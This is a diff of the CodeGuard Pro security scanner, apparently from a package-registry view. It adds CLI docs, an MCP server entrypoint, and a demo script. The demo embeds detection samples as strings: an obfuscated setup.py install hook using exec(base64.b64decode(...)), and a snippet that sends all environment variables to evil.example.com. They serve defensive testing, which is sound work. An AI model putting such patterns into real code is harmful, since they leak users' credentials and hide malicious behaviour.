@@ -174,10 +228,13 @@ The agent gets structured JSON back:
|
|
|
174
228
|
## CLI Usage
|
|
175
229
|
|
|
176
230
|
```bash
|
|
231
|
+
codeguard init # Install hook, config, and print next steps
|
|
177
232
|
codeguard install # Install pre-commit hook
|
|
178
233
|
codeguard scan ./src # Scan a directory
|
|
179
234
|
codeguard scan app.py # Scan a single file
|
|
180
235
|
codeguard scan-diff # Scan staged changes
|
|
236
|
+
codeguard check litellm # Check a package before install
|
|
237
|
+
codeguard mcp-config # Print MCP config snippet
|
|
181
238
|
codeguard learn-add sample.py --title "obfuscated setup hook"
|
|
182
239
|
codeguard learn-summary
|
|
183
240
|
codeguard uninstall # Remove hook (restores backup)
|
|
@@ -193,6 +250,33 @@ Use `smart_analyze` as the default code-analysis entry point:
|
|
|
193
250
|
|
|
194
251
|
That keeps cost and latency low while still giving you deeper analysis when regex alone is not enough.
|
|
195
252
|
|
|
253
|
+
## Real Demo
|
|
254
|
+
|
|
255
|
+
See [`DEMO.md`](DEMO.md) for:
|
|
256
|
+
- deterministic email-injection detection
|
|
257
|
+
- MiniMax setup.py malware verdict
|
|
258
|
+
- MiniMax credential-exfiltration detection
|
|
259
|
+
- verified test totals used in the current release
|
|
260
|
+
|
|
261
|
+
## Benchmarks
|
|
262
|
+
|
|
263
|
+
Current verified benchmark:
|
|
264
|
+
|
|
265
|
+
- `pytest -q test_*.py` -> `112 passed, 6 skipped`
|
|
266
|
+
- fresh virtualenv install works
|
|
267
|
+
- `codeguard init` works in a new git repo
|
|
268
|
+
- `codeguard demo` works from the installed package
|
|
269
|
+
- clean code stays clean on the fast path
|
|
270
|
+
- adversarial install/injection samples are caught or escalated
|
|
271
|
+
|
|
272
|
+
See [`TESTING.md`](TESTING.md) for the benchmark definition and what the numbers mean.
|
|
273
|
+
|
|
274
|
+
You can also run the local demo directly:
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
codeguard demo
|
|
278
|
+
```
|
|
279
|
+
|
|
196
280
|
## AI Beta
|
|
197
281
|
|
|
198
282
|
MiniMax is wired directly to the official MiniMax API using `MINIMAX_API_KEY`.
|
|
@@ -215,6 +299,12 @@ CodeGuard is strongest when positioned as the security gate that sits *inside* t
|
|
|
215
299
|
- before commit
|
|
216
300
|
- before shipping
|
|
217
301
|
|
|
302
|
+
Visible current-attack angle:
|
|
303
|
+
- TeamPCP-style package compromise
|
|
304
|
+
- `.pth` startup-hook abuse
|
|
305
|
+
- GitHub Actions mutable ref poisoning
|
|
306
|
+
- faster package installs driven by AI agents
|
|
307
|
+
|
|
218
308
|
Current verified beta capabilities:
|
|
219
309
|
- setup-hook malware verdicts for obfuscated `exec(base64.b64decode(...))` patterns
|
|
220
310
|
- behavioral credential exfiltration detection
|
|
@@ -238,6 +328,21 @@ Recommended flow:
|
|
|
238
328
|
|
|
239
329
|
This keeps the product getting smarter without turning it into an opaque self-editing scanner.
|
|
240
330
|
|
|
331
|
+
## Feedback Loop From Misses To Tests
|
|
332
|
+
|
|
333
|
+
This is the intended improvement loop:
|
|
334
|
+
|
|
335
|
+
1. detect a miss or suspicious sample in the real world
|
|
336
|
+
2. save it with `codeguard learn-add`
|
|
337
|
+
3. generate an issue draft with `codeguard learn-report`
|
|
338
|
+
4. decide whether it needs:
|
|
339
|
+
- a deterministic rule
|
|
340
|
+
- an AI prompt change
|
|
341
|
+
- a documented limitation
|
|
342
|
+
5. add a regression test before promoting the change
|
|
343
|
+
|
|
344
|
+
That is how CodeGuard gets better without becoming untrustworthy.
|
|
345
|
+
|
|
241
346
|
## Secret Patterns (25+)
|
|
242
347
|
|
|
243
348
|
| Provider | Pattern | Severity |
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Runnable launch demo for CodeGuard Pro."""
|
|
3
|
+
|
|
4
|
+
import json
|
|
5
|
+
|
|
6
|
+
from agent_analyzer import analyze_setup_py, deep_analyze, smart_analyze
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def main() -> None:
|
|
10
|
+
email_sample = "send_mail(request.form['subject'], body, 'noreply@example.com', [to])"
|
|
11
|
+
setup_sample = """from setuptools import setup
|
|
12
|
+
from setuptools.command.install import install
|
|
13
|
+
import base64
|
|
14
|
+
|
|
15
|
+
class PostInstall(install):
|
|
16
|
+
def run(self):
|
|
17
|
+
install.run(self)
|
|
18
|
+
exec(base64.b64decode('aW1wb3J0IG9zLHNvY2tldA=='))
|
|
19
|
+
|
|
20
|
+
setup(name="totally-legit", version="1.0", cmdclass={"install": PostInstall})
|
|
21
|
+
"""
|
|
22
|
+
exfil_sample = """import os, urllib.request
|
|
23
|
+
data = str(dict(os.environ))
|
|
24
|
+
urllib.request.urlopen("http://evil.example.com/collect?d=" + data)
|
|
25
|
+
"""
|
|
26
|
+
|
|
27
|
+
result = {
|
|
28
|
+
"email_injection": smart_analyze(email_sample),
|
|
29
|
+
"setup_behavior": analyze_setup_py(setup_sample),
|
|
30
|
+
"credential_exfiltration": deep_analyze(exfil_sample),
|
|
31
|
+
}
|
|
32
|
+
print(json.dumps(result, indent=2))
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
if __name__ == "__main__":
|
|
36
|
+
main()
|
|
@@ -5,7 +5,9 @@ Catches secrets, OWASP vulns, and blocks bad commits with fix suggestions.
|
|
|
5
5
|
"""
|
|
6
6
|
|
|
7
7
|
import os
|
|
8
|
+
import sys
|
|
8
9
|
import json
|
|
10
|
+
import argparse
|
|
9
11
|
from mcp.server.fastmcp import FastMCP
|
|
10
12
|
|
|
11
13
|
|
|
@@ -539,6 +541,32 @@ def create_server():
|
|
|
539
541
|
return mcp
|
|
540
542
|
|
|
541
543
|
|
|
542
|
-
|
|
544
|
+
def main():
|
|
545
|
+
"""Run the packaged MCP server entrypoint."""
|
|
546
|
+
parser = argparse.ArgumentParser(
|
|
547
|
+
prog="codeguard-mcp",
|
|
548
|
+
description="CodeGuard Pro MCP server. Run this from an MCP client such as Claude Code, Codex, Cursor, or a VS Code MCP extension.",
|
|
549
|
+
)
|
|
550
|
+
parser.add_argument(
|
|
551
|
+
"--stdio",
|
|
552
|
+
action="store_true",
|
|
553
|
+
help="Run the MCP server over stdio. This is the default mode used by MCP clients.",
|
|
554
|
+
)
|
|
555
|
+
args = parser.parse_args()
|
|
556
|
+
|
|
557
|
+
if sys.stdin.isatty() and not args.stdio:
|
|
558
|
+
print(
|
|
559
|
+
"CodeGuard Pro MCP server\n\n"
|
|
560
|
+
"This command is meant to be launched by an MCP client over stdio.\n"
|
|
561
|
+
"Use `codeguard mcp-config` to print a client config snippet.\n"
|
|
562
|
+
"Use `codeguard-mcp --stdio` to run the server explicitly.\n",
|
|
563
|
+
file=sys.stderr,
|
|
564
|
+
)
|
|
565
|
+
return
|
|
566
|
+
|
|
543
567
|
mcp = create_server()
|
|
544
568
|
mcp.run()
|
|
569
|
+
|
|
570
|
+
|
|
571
|
+
if __name__ == "__main__":
|
|
572
|
+
main()
|
|
@@ -5,7 +5,7 @@ README = Path(__file__).with_name("README.md").read_text(encoding="utf-8")
|
|
|
5
5
|
|
|
6
6
|
setup(
|
|
7
7
|
name="codeguard-pro",
|
|
8
|
-
version="0.3.
|
|
8
|
+
version="0.3.3",
|
|
9
9
|
description="Inline security gate for AI coding agents: secrets, supply chain, OWASP, and MiniMax-assisted deep analysis.",
|
|
10
10
|
author="Miles",
|
|
11
11
|
url="https://github.com/Miles0sage/codeguard-mcp",
|
|
@@ -22,10 +22,12 @@ setup(
|
|
|
22
22
|
"autofix",
|
|
23
23
|
"agent_analyzer",
|
|
24
24
|
"learning_loop",
|
|
25
|
+
"demo",
|
|
25
26
|
],
|
|
26
27
|
entry_points={
|
|
27
28
|
"console_scripts": [
|
|
28
29
|
"codeguard=cli:main",
|
|
30
|
+
"codeguard-mcp=server:main",
|
|
29
31
|
],
|
|
30
32
|
},
|
|
31
33
|
python_requires=">=3.10",
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|